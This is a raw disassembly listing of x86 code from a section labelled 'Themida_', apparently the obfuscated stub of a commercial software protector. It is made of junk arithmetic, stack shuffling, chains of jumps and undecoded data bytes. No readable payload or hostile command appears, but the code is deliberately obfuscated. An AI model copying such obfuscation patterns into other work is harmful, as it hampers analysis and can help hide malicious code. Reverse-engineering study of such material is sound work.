		dd 0DFEF81EFh, 89E7C40Dh, 37E95FFDh, 81000008h,	4EAh, 24148700h
		dd 64C6E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D7DE:				; CODE XREF: Themida_:0055946Bj
		sub	ebx, 0F4B12A1h
		pop	edx
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		db 80h
		dd 0E888E5F5h, 0E9C68859h, 0FFFFF153h, 65DAC681h, 1C8B279Ch
		dd 0E553E924h, 0C681FFFFh, 8A4F15h, 2C6815Dh, 87000000h
		dd 535C2434h, 0E9D58851h, 0FFFFF722h, 0B9240C89h, 2, 36E9CB01h
		dd 81FFFFDDh, 7C0436EBh, 0BCE95D12h, 55FFFFB4h,	5D2414F7h
		dd 0F708EDC1h, 0A9BE56DDh, 0D1652D00h, 8E6C1EEh, 12D3E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D862:				; CODE XREF: Themida_:0055E972j
		shl	cl, 2
		and	cl, 30h
		shl	cl, 2
		push	eax
		mov	ah, 0D4h
		add	ah, 0A2h
		sub	cl, ah
		pop	eax
		add	bl, 17h
		sub	bl, cl
		sub	bl, 17h
		mov	ecx, [esp]
		jmp	loc_55F2E5
; ---------------------------------------------------------------------------
		dd 5FFE015Ch, 2474FF56h, 48F5E04h, 4D35C24h, 0C5E99C24h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D89B:				; CODE XREF: Themida_:005575EBj
		inc	edi
		sub	edi, 9D33DABh
		push	edi
		push	edi
		mov	edi, 340F179Eh
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, 340F179Eh
		sub	eax, ebp
		pop	ebp
		pop	edi
		xor	eax, 678615A5h
		sub	esp, 4
		jmp	loc_555818
; ---------------------------------------------------------------------------
byte_55D8CF	db 0ADh			; DATA XREF: Themida_:00553474o
		dd 8151D831h, 4ECh, 24148900h, 1431868h, 2434FF58h, 4C4815Ah
		dd 0F7000000h, 0D3B850DAh, 214FE06Bh, 0E95558C2h, 0FFFFC343h
		dd 87C9EF81h, 0FA29101Dh, 83243C8Bh, 0D18904C4h, 0B58EE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D912:				; CODE XREF: Themida_:00557B30j
		push	ecx
		mov	ecx, 35F1145Ch
		xor	ecx, 28945C75h
		jmp	loc_55F768
; ---------------------------------------------------------------------------
byte_55D923	db 66h			; DATA XREF: Themida_:005532D0o
		dd 6824048Bh, 1728h, 11ADE9h, 24148900h, 2E3DABBAh, 0FDE9554Fh
		dd 0FFFFFFEFh, 815A2434h, 4C4h,	1E2B6800h, 0C890000h, 7A03B924h
		dd 0BD555E81h, 4B37ABDh, 495DE909h, 328FE981h, 0F3E9FF80h
		dd 0B1000019h, 80D9F6EEh, 0B6E9E1E9h, 5A00000Eh, 4C281h
		dd 0B9510000h, 4, 0C8BCA01h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 0FFC9ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D99D:				; CODE XREF: Themida_:0055BD55j
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 0DF10B35h
		push	ebx
		mov	ebx, 768309EAh
		add	ebx, 54A70E5Fh
		jmp	loc_557C5E
; ---------------------------------------------------------------------------
byte_55D9C5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00553288o
		dd 0C8BDE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D9CE:				; CODE XREF: Themida_:0055F679j
		add	edx, ebp
		pop	ebp
		sub	eax, 232E5611h
		add	eax, edx
		jmp	loc_55D5C6
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 54000000h, 0E924048Fh, 1BFh,	44F180h, 686659CBh, 89664A81h
		dd 0B5512404h, 67E952AEh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA03:				; CODE XREF: Themida_:00553C88j
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	1C2Ah
		mov	[esp], edi
		mov	edi, esp
		push	esi
		mov	esi, 18740802h
		jmp	loc_55F218
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 14316602h, 14336624h, 0D0E2E924h, 48FFFFFh, 0D0305C24h
		dd 0EEEB805Ah, 0FF906EE9h, 0C3815EFFh, 2A2655ABh, 0FF6E6DE9h
		db 0FFh
byte_55DA49	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00553410o
		dd 0FFA97BE9h, 2434FFFFh, 0D028E958h, 0B551FFFFh, 0A6A3E994h
		dd 0E289FFFFh, 6EA1BD55h, 57E9552Fh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA6F:				; CODE XREF: Themida_:00555DEFj
		push	13BEh
		mov	[esp], ebx
		push	edx
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55E162
; ---------------------------------------------------------------------------
		dd 5A89E95Ch, 0F201FFFFh, 0FFA2DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DA9D:				; CODE XREF: Themida_:0055FB94j
		add	esi, 4
		jmp	loc_555B58
; ---------------------------------------------------------------------------
byte_55DAA5	db 81h,	0ECh, 4		; DATA XREF: Themida_:005532E4o
		dd 0E9000000h, 0FFFFC73Dh, 59A4EA81h, 0D6299853h, 0E9DE015Ah
		dd 0FFFFFD44h, 4EC81h, 4890000h, 0A589E924h, 0B951FFFFh
		dd 389D4E0Bh, 0C153FBFh, 0BEE8E926h, 0C681FFFFh, 4, 0FF6602E9h
		dd 240C33FFh, 33240C31h, 685C240Ch, 5221h, 68241C89h, 2FEE7CB6h
		dd 0A0E9E95Bh, 0E95CFFFFh, 0FFFFA751h
dword_55DB0C	dd 24048B66h, 235668h, 24048900h, 5756E089h, 4C180ABFh
					; DATA XREF: Themida_:005532ECo
		dd 0E9FE8940h, 0FFFFE12Bh, 0FFE9F529h, 68FFFFA7h, 6889h
		dd 56243C89h, 0D449D368h, 7B9DE939h, 4BBFFFFh, 0E9000000h
		dd 0FFFF984Dh
; ---------------------------------------------------------------------------


loc_55DB4C:				; CODE XREF: Themida_:0055C007j
		xor	ecx, 0A43739D1h
		sub	eax, 70AB6DC5h
		jmp	loc_55D727
; ---------------------------------------------------------------------------
		dd 6DD1C281h, 4BE92865h, 2CFFFF9Eh, 0A96CE91Ah,	5751FFFFh
		dd 0F12702BFh, 2703B951h, 0F92951F1h, 0FFCE6FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DB81:				; CODE XREF: Themida_:0055F7FFj
		shr	eax, 6
		sub	eax, 10FC4BBh
		mov	edi, eax
		pop	eax
		sub	edx, 31517578h
		add	edx, edi
		add	edx, 31517578h
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_55545B
; ---------------------------------------------------------------------------
		db 83h
		dd 59042404h, 79CF68h, 241C8900h, 8904EC83h, 0BB53240Ch
		dd 64F1FB4h, 28F38143h,	8131AB38h, 0E713BDEBh, 0E79BE927h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DBD6:				; CODE XREF: Themida_:00555986j
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_557F85
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_557A2F
; ---------------------------------------------------------------------------
byte_55DBFB	db 0FFh			; DATA XREF: Themida_:0055347Co
		dd 34FF2434h, 89525824h, 0DEA4E9E2h, 2505FFFFh,	0E955DA34h
		dd 0FFFF738Ah, 4EC81h, 0C890000h, 6334E924h, 3B66FFFFh
		dd 52E99CC8h, 0F7FFFF72h, 9BBD55D2h, 0F7015A7Ah, 0F5DDE9DDh
		dd 0C89FFFFh, 0B1A2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DC42:				; CODE XREF: Themida_:00555D14j
		mov	[esp], esi
		push	6704h
		mov	[esp], ebx
		mov	ebx, 3D653C54h
		mov	esi, 3D653C50h
		xor	esi, ebx
		jmp	loc_5586E7
; ---------------------------------------------------------------------------


loc_55DC5E:				; CODE XREF: Themida_:0055B62Aj
		push	0FFFFFFFFh
		mov	ebx, [esp]
		jmp	loc_555399
; ---------------------------------------------------------------------------
		db 58h
		dd 0C3FEEBD0h, 0FFF324E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DC75:				; CODE XREF: Themida_:00557F5Aj
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_553D3F
; ---------------------------------------------------------------------------


loc_55DC81:				; CODE XREF: Themida_:00559D58j
		mov	edi, 692C6D09h
		add	esi, 7AE4006h
		add	esi, edi
		sub	esi, 7AE4006h
		pop	edi
		sub	ebp, esi
		pop	esi
		jmp	loc_555599
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 0FFE05AE9h, 80D5F6FFh, 0C58068EDh, 0E9EE884Ah
		dd 0FFFFF7E6h
; ---------------------------------------------------------------------------


loc_55DCB8:				; CODE XREF: Themida_:0055B1E4j
		pop	ebp
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		add	esp, 4
		add	[edi+20h], esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		push	esp
		jmp	loc_558FA9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 0FF5F69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DCE1:				; CODE XREF: Themida_:0055492Dj
		mov	[esp], eax
		push	176D1ECDh
		pop	eax
		shr	eax, 7
		shr	eax, 2
		push	edx
		push	ebp
		mov	ebp, 6F1D7479h
		mov	edx, 612B46E2h
		xor	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 65410D78h
		sub	ebx, 583842F1h
		jmp	loc_55C3C8
; ---------------------------------------------------------------------------


loc_55DD10:				; CODE XREF: Themida_:0055AAC1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 5B6D6C0Eh
		xor	edi, 5B6D6C0Ah
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55B8CC
; ---------------------------------------------------------------------------
		db 56h,	0F7h, 1Ch
		dd 0D6F75E24h, 0FF695FE9h, 0E9F701FFh, 0FFFF83E3h, 0E9241489h
		dd 0FFFFBE29h, 4C481h, 0A62C0000h, 0FF8A5CE9h, 243C8BFFh
		dd 8F04C483h, 0D8E92404h, 80FFFF6Bh, 0E95188F4h, 0FFFF65A2h
; ---------------------------------------------------------------------------


loc_55DD70:				; CODE XREF: Themida_:0055CA0Fj
		push	esi
		mov	esi, esp
		jmp	loc_5541B8
; ---------------------------------------------------------------------------
		dd 0FE04C483h, 3E3C0C3h, 0FFF35FE9h, 241C31FFh,	5C241C33h
		dd 0FF609EE9h, 4C481FFh, 28000000h, 0B65266D8h,	0A75CE9F5h
		dd 0F781FFFFh, 1F867A3h, 0FF5D07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DDAD:				; CODE XREF: Themida_:0055581Fj
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_556101
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5585450h,	4, 42Dh, 4EC8300h, 0FF240489h, 58042474h
		dd 5C24048Fh, 68240C89h, 2964h,	0BA241489h, 3B6E3FD6h
		dd 5BA5257h, 897D0540h,	11FBE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DDF6:				; CODE XREF: Themida_:005564A9j
		add	ebx, 0D40085C3h
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55E3E8
; ---------------------------------------------------------------------------


loc_55DE0A:				; CODE XREF: Themida_:00553E84j
		push	dword ptr [esp]
		jmp	loc_55B447
; ---------------------------------------------------------------------------
		dw 4168h
		dd 89000073h, 50E92414h, 81FFFF80h, 3631EF5h, 5DEF2977h
		dd 815FF989h, 0C25830EEh, 0E9CE0176h, 0FFFF630Dh, 0D789575Bh
		dd 5A5FFB89h, 5953CB29h, 7E9C15Bh, 0D8B0E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DE4E:				; CODE XREF: Themida_:0055C331j
		push	ebx
		mov	ebx, 16E22DCDh
		xor	edx, ebx
		mov	ebx, [esp]
		jmp	loc_553AAE
; ---------------------------------------------------------------------------
		dw 8759h
		dd 248B242Ch, 2404D224h, 56B1E99Ch, 0B1B9FFFFh,	295E8548h
		dd 714DE9CDh, 6868FFFFh, 8900000Fh, 0E189240Ch,	0FFE79AE9h
		dd 84B850FFh, 0F701893Ah, 0B97135D8h, 0C729D318h, 681EE958h
		dd 248BFFFFh, 5727E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DEA6:				; CODE XREF: Themida_:00559F12j
		and	ebx, 6E350609h
		dec	ebx
		jmp	loc_55AC44
; ---------------------------------------------------------------------------
		dw 875Eh
		dd 895C243Ch, 0D1E92414h, 8BFFFFDCh, 4282424h, 54E99C24h
		dd 0FFFFFF56h, 575B2434h, 0C7815F54h, 4, 0E904C783h, 0FFFF9520h
dword_55DEE0	dd 24048B66h, 136668h, 241C8900h, 0E036E954h, 1489FFFFh
					; DATA XREF: Themida_:00553404o
		dd 59E5E924h, 34FFFFFFh, 89525E24h, 5922E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF06:				; CODE XREF: Themida_:00559BFCj
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_553F39
; ---------------------------------------------------------------------------
		dd 0E959CA89h, 0FFFFB5F1h, 7E9C166h, 7AF18166h,	0F181665Bh
		dd 29666167h, 0CA28E9CBh, 0E3C0FFFFh, 1CCCE903h, 0D8010000h
		dd 6546CA2Dh, 45C3687Bh, 0C890000h, 499EB924h, 0F72D3871h
		dd 172B606h, 7A66E9C8h,	0D529FFFFh, 0DB0CE95Ah,	0E789FFFFh
		dd 0FFBC9FE9h, 4B9FFh, 0F3E90000h, 8BFFFF74h, 0EC81240Ch
		dd 4, 89240489h, 405E0h, 4050000h, 87000000h, 315C2404h
		dd 4EC81C3h, 89000000h,	0EC812414h, 4, 0BE243489h, 51AE0B46h
		dd 0AE0B72BAh, 0E9F22951h, 0FFFF6867h, 0CA68E689h, 8900007Eh
		dd 6857240Ch, 5F7B33E2h, 0F1E9555Fh
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DFCF:				; CODE XREF: Themida_:00553A31j
		add	ch, al
		mov	eax, [esp]
		add	esp, 4
		add	al, ch
		jmp	loc_55353F
; ---------------------------------------------------------------------------
byte_55DFE1	db 0F6h, 1Ch, 24h	; DATA XREF: Themida_:00553320o
		dd 5535E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DFEA:				; CODE XREF: Themida_:00558218j
		sub	eax, 170E01C6h
		mov	ecx, [eax]
		jmp	loc_555CED
; ---------------------------------------------------------------------------


loc_55DFF6:				; CODE XREF: Themida_:005541C2j
		inc	eax
		jmp	loc_55AAB9
; ---------------------------------------------------------------------------
		dd 2822C580h, 8317E9EAh, 0ED81FFFFh, 0D0414986h, 0E95DE921h
		dd 6B2h, 0FD7B7D25h, 0C903564h,	0C3293B98h, 0BF575558h
		dd 68863113h, 0FF5C60E9h, 0C58851FFh, 0FFE47CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E035:				; CODE XREF: Themida_:00554AD3j
		pop	esp
		add	eax, 16251FDBh
		jmp	loc_558CC8
; ---------------------------------------------------------------------------


loc_55E040:				; CODE XREF: Themida_:0055C61Ej
		push	eax
		mov	eax, 8B94856h
		add	esi, eax
		pop	eax
		and	esi, 1ED23F27h
		jmp	loc_555DFE
; ---------------------------------------------------------------------------


loc_55E054:				; CODE XREF: Themida_:0055F202j
		pop	ebx
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_553FB3
; ---------------------------------------------------------------------------
		dd 0F281DAF7h, 2ED803A8h, 685FE281h, 0C2815B27h, 0EFF9BFE5h
		dd 1066E9h
		db 0
byte_55E089	db 66h,	0FFh, 32h	; DATA XREF: Themida_:00553398o
		dd 0FF548EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E091:				; CODE XREF: Themida_:0055E9AEj
		push	edi
		push	eax
		mov	eax, 1AB47669h
		mov	edi, eax
		jmp	loc_553CAC
; ---------------------------------------------------------------------------


loc_55E09F:				; CODE XREF: Themida_:0055556Bj
		pop	ebp
		jmp	loc_55AE62
; ---------------------------------------------------------------------------
		db 57h,	54h, 8Bh
		dd 87E9243Ch, 1FFFF59h,	0B8502404h, 7E5E3C9Ah, 4246C81h
		dd 4C332B42h, 4244429h,	0FFCE27E9h, 0EF814FFFh,	0F7F6DFFBh
		dd 515FF989h, 17F1E9h, 240C8B00h, 4C481h, 0C3280000h, 0C3805866h
		dd 51C380DBh, 64E9C300h, 87FFFF75h, 87D6F7F3h, 99EB81F3h
		dd 290B3D8Bh, 241C8BDAh, 81E28952h, 4C2h, 4C28100h, 0E9000000h
		dd 0FFFFC839h
; ---------------------------------------------------------------------------


loc_55E118:				; CODE XREF: Themida_:00558E13j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55F5D9
; ---------------------------------------------------------------------------
word_55E122	dw 8B66h		; DATA XREF: Themida_:00553274o
		dd 8C68240Ch, 89000017h, 0E2892414h, 9D66E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E136:				; CODE XREF: Themida_:0055C98Ej
		jmp	loc_55351F
; ---------------------------------------------------------------------------
byte_55E13B	db 0ADh			; DATA XREF: Themida_:0055335Co
		dd 0FFBEF3E9h, 5EF281FFh, 812C395Fh, 270A54F2h,	0C2814216h
		dd 0FFFFFFFFh, 0FFE965E9h, 89CA89FFh, 5FADE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E162:				; CODE XREF: Themida_:0055DA8Bj
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_553B58
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 11050000h, 0E93D6921h, 0FFFFF162h
; ---------------------------------------------------------------------------


loc_55E180:				; CODE XREF: Themida_:0055F618j
		pop	ecx
		or	ecx, edi
		pop	edi
		shr	ecx, 1
		shr	ecx, 8
		inc	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_557479
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 74CD4AACh, 157E9h, 243C8900h, 0FFCB53E9h
		dd 24248BFFh, 24042166h, 5365E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E1BA:				; CODE XREF: Themida_:0055650Cj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 20h
		add	eax, 4C667598h
		add	eax, 40784718h
		add	eax, edi
		sub	eax, 40784718h
		sub	eax, 4C667598h
		jmp	loc_553ADA
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 614E9h, 240C3100h, 5C240C33h, 9C240CFFh, 0FF5326E9h
		dd 46BD55FFh, 0E900D755h, 0FFFFB452h, 0CC307AB4h, 5B83E959h
		dd 478FFFFFh, 206F8120h, 2716582Eh, 8324148Bh, 7FE904C4h
		dd 83FFFF74h, 0EFE904C4h, 89000002h, 4C681E6h, 55000000h
		dd 0FFB032E9h, 2AEA81FFh, 160D73Dh, 2AC281F2h, 5E60D73Dh
		dd 4C281h, 14330000h, 0E09AE924h, 5266FFFFh, 0F02802B6h
		dd 0A12C5A66h, 9FB25266h, 0EFE9872Ch
		db 5Eh,	2 dup(0FFh)
byte_55E26B	db 0FFh			; DATA XREF: Themida_:005534ACo
		dd 34FF2434h, 24048B24h, 4C481h, 0C4830000h, 222C6804h
		dd 6DE90000h, 1FFFF7Bh,	26E981F9h, 5F10B763h, 8B240C87h
		dd 8B662424h, 0A468240Ch, 0E9000076h, 0FFFFB625h
; ---------------------------------------------------------------------------


loc_55E2A4:				; CODE XREF: Themida_:005599E5j
		xor	ebx, edx
		pop	edx
		jmp	loc_556161
; ---------------------------------------------------------------------------
		dd 0B3241C89h, 2EBC018h, 0FF713CE9h, 0BCEB81FFh, 29231D53h
		dd 0BCC381F3h, 5E231D53h, 81C3015Eh, 0DC5818C3h, 0B243E960h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E2D6:				; CODE XREF: Themida_:0055E377j
		xor	eax, 28D427A6h
		push	1405h
		mov	[esp], ebx
		jmp	loc_55613E
; ---------------------------------------------------------------------------


loc_55E2E8:				; CODE XREF: Themida_:0055ADAAj
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_557DED
; ---------------------------------------------------------------------------
		dd 41D1F749h, 0D7F7F987h, 0D1F7F987h, 0B553E981h, 0CA018B32h
		dd 24148759h, 8424248Bh, 0E99CC8h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E31F:				; CODE XREF: Themida_:00557EE2j
		add	eax, ebx
		jmp	loc_55A0CC
; ---------------------------------------------------------------------------
		dw 0E280h
		dd 77EA8088h, 0E957E280h, 0FFFF9756h, 0EF81DF01h, 440A6EBAh
		dd 8872E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E342:				; CODE XREF: Themida_:00559432j
		push	ebp
		mov	ebp, esp
		jmp	loc_557B2A
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 6F1C4FDAh, 0FFE5F4E9h
		db 0FFh
byte_55E355	db 8Fh,	47h, 40h	; DATA XREF: Themida_:0055337Co
		dd 0FF51C2E9h, 2434FFFFh, 83242C8Bh, 0E95004C4h, 0FFFF54F1h
; ---------------------------------------------------------------------------


loc_55E36C:				; CODE XREF: Themida_:0055F270j
		mov	eax, 28D427A6h
		xor	[esp+4], eax
		pop	eax
		pop	eax
		jmp	loc_55E2D6
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC810000h, 4, 0BD242C89h, 51120192h, 1EF4F581h
		dd 3CE955E1h
		db 81h,	2 dup(0FFh)
byte_55E39B	db 66h			; DATA XREF: Themida_:005532E8o
		dd 56240C8Bh, 0EC81E689h, 4, 51243C89h,	572D9668h, 0BF57595Bh
		dd 4A8E497Ch, 8106EFC1h, 0A53FBCC7h, 8FF78156h,	1F367AAh
		dd 0EC835FF9h, 242C8904h, 0FFDA60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E3D5:				; CODE XREF: Themida_:0055527Ej
		not	al
		push	cx
		mov	ch, 0Bh
		jmp	loc_55ABF8
; ---------------------------------------------------------------------------
dword_55E3E0	dd 0E932FF64h, 0FFFF5137h ; DATA XREF: Themida_:005534C8o
; ---------------------------------------------------------------------------


loc_55E3E8:				; CODE XREF: Themida_:0055DE05j
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_555E7D
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 89572414h, 4C781E7h, 81000000h, 4C7h, 0BB16E900h
		dd 48BFFFFh, 4C48324h, 0FFE736E9h, 0E38953FFh, 4C381h
		dd 0C3830000h, 241C8704h, 4C6815Ch, 57000000h, 4BFh, 89E3E900h
		dd 0C8BFFFFh, 72B9E924h, 0CA81FFFFh, 4E725844h,	986E9h
		dd 68D6F700h, 1A0h, 0B9240C89h,	5FCB036Fh, 24C4C181h, 0E1814E8Eh
		dd 4791624Ch, 354AC181h, 0E9560529h, 0FFFFE471h
; ---------------------------------------------------------------------------


loc_55E480:				; CODE XREF: Themida_:00555CC4j
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558634
; ---------------------------------------------------------------------------
byte_55E48F	db 66h			; DATA XREF: Themida_:00553498o
		dd 5124048Bh, 0FFF544E9h, 242C89FFh, 2BDh, 0E9EA0100h
		dd 0FFFFE545h, 4EC835Eh, 0BD242C89h, 6674069Ch,	2C8BEB29h
		dd 4C48324h, 0B60F66h, 1E1568h,	589BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E4CA:				; CODE XREF: Themida_:00558468j
		push	esi
		mov	esi, 32B772CBh
		add	esi, 0CD488D39h
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_559FA7
; ---------------------------------------------------------------------------


loc_55E4E2:				; CODE XREF: Themida_:0055A46Bj
		push	dword ptr [esp]
		pop	ebp
		push	69ACh
		jmp	loc_559BEB
; ---------------------------------------------------------------------------
		dd 0F475E951h, 0E189FFFFh, 0FF8A63E9h, 0C78158FFh, 4E8664Ch
		dd 0EF81CF01h, 4E8664Ch, 81240C8Bh, 4C4h, 0BBB8E900h, 0EC83FFFFh
		dd 240C8904h, 0FF6ADAE9h, 3EDC1FFh, 1BA52h, 0D5290000h
		dd 8D9FE95Ah, 0E089FFFFh, 4D1E9h, 4B3F6800h, 3AE90000h
		dd 5CFFFFC4h, 4B30F66h,	0CCE99C24h, 1FFFF4Fh, 0FF4EE9F3h
		dd 0CF89FFFFh, 8BFB0159h, 0C483243Ch, 4C38304h,	2474FF53h
		dd 48F5B04h, 0C4815C24h, 4, 0D468F9F7h,	89000022h, 0E2892414h
		dd 4EC81h, 2C890000h, 4BD24h, 62E90000h, 68FFFFD8h, 48D5h
		dd 0BD242C89h, 2, 0A8E95655h, 29000007h, 9346E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E5B2:				; CODE XREF: Themida_:0055A14Aj
		mov	eax, 4724315Dh
		neg	eax
		xor	eax, 0E990CEABh
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	edi, 7
		sub	edi, 23BD7CC9h
		shr	edi, 2
		shr	edi, 3
		shl	edi, 1
		sub	edi, 0DCE518Eh
		jmp	loc_55AA10
; ---------------------------------------------------------------------------
		db 0BDh, 0D6h, 49h
		dd 0CD8149E2h, 3E16728Bh, 170CF581h, 0E82939A5h, 0FF7546E9h
		dd 68FFh, 2C810000h, 9172D024h,	2404291Eh, 0FF7ACAE9h
		dd 4EC83FFh, 0FF9010E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E619:				; CODE XREF: Themida_:0055C70Fj
		add	edx, 4
		push	esi
		jmp	loc_55EC7C
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0F0h
		dd 0C10F7844h, 0C38104EBh, 647D06C8h, 1EB81h, 0E9570000h
		dd 0FFFF60B0h
; ---------------------------------------------------------------------------


loc_55E640:				; CODE XREF: Themida_:005576E9j
		push	ebx
		push	edi
		push	ecx
		mov	ecx, 6E452CFBh
		or	ecx, 285E61DCh
		jmp	loc_5552A1
; ---------------------------------------------------------------------------
		db 21h
		dd 21E91C6Fh, 5AFFFFABh, 8158C300h, 4ECh, 24148900h, 0E28004B2h
		dd 16C280C9h, 0FFFCB1E9h, 0E08950FFh, 405h, 0E9BE5600h
		dd 8115BA67h, 45981BC6h, 789B05EAh, 0F0013660h,	377BBB53h
		dd 0C3810ADAh, 29AA1C7Ch, 59FFCB81h, 0F3817716h, 41F62364h
		dd 5E5BD829h, 31240433h, 2BE92404h, 0FFFF66h, 0B60F58E3h
		dd 148B66C0h, 8D42E924h, 0C181FFFFh, 0AEFDFAF1h, 5659CE01h
		dd 42474FFh, 8124348Bh,	4C4h, 24048F00h, 0FE24248Bh, 0E99C2404h
		dd 0FFFF4E33h
; ---------------------------------------------------------------------------


loc_55E6EC:				; CODE XREF: Themida_:00554CEEj
		mov	edx, 79F75694h
		dec	edx
		push	edi
		mov	edi, 41C53A6Ch
		sub	edi, 4BC94ECBh
		shl	edi, 6
		inc	edi
		neg	edi
		and	edi, 2AE67C48h
		add	edi, 762E15ECh
		jmp	loc_55888A
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24048B04h, 4C481h, 48F0000h,	8B665C24h, 0F7E9240Ch
		dd 89FFFF9Ch, 4C381E3h,	81000000h, 4C3h, 241C8700h, 5224248Bh
		dd 2BAh, 5AD60100h, 0FFD7CAE9h,	0B0E781FFh, 813AD915h
		dd 0FFEB84C7h, 8BFA01CDh, 6DE9243Ch
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E767:				; CODE XREF: Themida_:00553B53j
		push	esi
		mov	esi, 0F33BF5h
		mov	ebp, 33F59DCh
		sub	ebp, esi
		pop	esi
		or	ecx, ebp
		pop	ebp
		add	ecx, 2AD27B0Dh
		jmp	loc_5596E6
; ---------------------------------------------------------------------------


loc_55E783:				; CODE XREF: Themida_:00553980j
		mov	ecx, ebx
		jmp	loc_55C0AA
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 25E28039h, 8033EA80h, 0D188C3F2h, 0D3FE95Ah,	0ED800000h
		dd 8E5C0FFh, 0FFACB6E9h, 875F5BFFh, 248B242Ch, 0E930FF24h
		dd 0FFFF4D67h, 0E9F93158h, 0FFFF69D3h
; ---------------------------------------------------------------------------


loc_55E7C0:				; CODE XREF: Themida_:0055FB3Ej
		mov	[esp], esi
		push	4461h
		mov	[esp], edx
		mov	edx, 6B3E1249h
		mov	esi, 6B3E124Dh
		xor	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55D418
